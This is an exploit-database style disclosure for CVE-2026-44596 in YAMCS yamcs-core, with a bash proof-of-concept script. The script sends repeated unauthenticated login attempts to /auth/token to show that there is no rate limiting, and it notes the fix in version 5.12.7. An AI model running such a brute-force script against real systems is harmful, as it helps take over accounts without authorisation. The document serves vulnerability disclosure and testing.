YAMCS yamcs-core 5.12.7 – No Rate Limiting
# Exploit Title: YAMCS yamcs-core 5.12.7 - No Rate Limiting # Date: 2026-05-27 # Exploit Author: Daniel Miranda Barcelona (Excal1bur) # Vendor Homepage: https://yamcs.org # Software Link: https://github.com/yamcs/yamcs # Version: < 5.12.7 # Tested on: Linux # CVE: CVE-2026-44596 # Category: Remote / Brute Force # Advisory: https://github.com/yamcs/yamcs/security/advisories/GHSA-w5r6-mcgq-7pq4 #!/bin/bash # ============================================================ # CVE-2026-44596 — YAMCS No Rate Limiting on /auth/token # ============================================================ # Vulnerability: POST /auth/token accepts unlimited login # attempts with no rate limiting or lockout. # Impact: Unauthenticated brute-force of any account. # Affected: yamcs-core < 5.12.7 # Fixed in: yamcs-core 5.12.7 # CWE: CWE-307 # CVSS: 5.3 MEDIUM # ============================================================ # Usage: ./poc.sh [target] [username] [attempts] # Example: ./poc.sh http://localhost:8090 operator 20 # ============================================================ TARGET="${1:-http://localhost:8090}" USERNAME="${2:-operator}" ATTEMPTS="${3:-20}" LAST_STATUS="" echo "============================================================" echo " CVE-2026-44596 — YAMCS No Rate Limiting PoC" echo " Target: $TARGET" echo " Username: $USERNAME" echo " Attempts: $ATTEMPTS" echo "============================================================" echo "" echo "[*] Sending $ATTEMPTS unauthenticated login attempts..." echo "[*] Vulnerable: HTTP 401 every time, never HTTP 429" echo "" for i in $(seq 1 $ATTEMPTS); do RESPONSE=$(curl -s -o /dev/null -w "%{http_code}" \ -X POST "$TARGET/auth/token" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "grant_type=password&username=$USERNAME&password=wrongpass$i") echo " Attempt $i/$ATTEMPTS: HTTP $RESPONSE" LAST_STATUS=$RESPONSE if [ "$RESPONSE" = "429" ]; then echo "" echo "[+] HTTP 429 received — rate limiting active (PATCHED)" exit 0 fi if [ "$RESPONSE" = "200" ]; then echo "" echo "[!!!] HTTP 200 — credentials found at attempt $i" exit 0 fi done echo "" if [ "$LAST_STATUS" = "401" ]; then echo "[!!!] VULNERABLE: $ATTEMPTS attempts, no rate limiting detected" echo "[!!!] Brute-force possible without restriction" fi echo "" echo "============================================================" echo " Fix: Upgrade to yamcs-core >= 5.12.7" echo "============================================================" |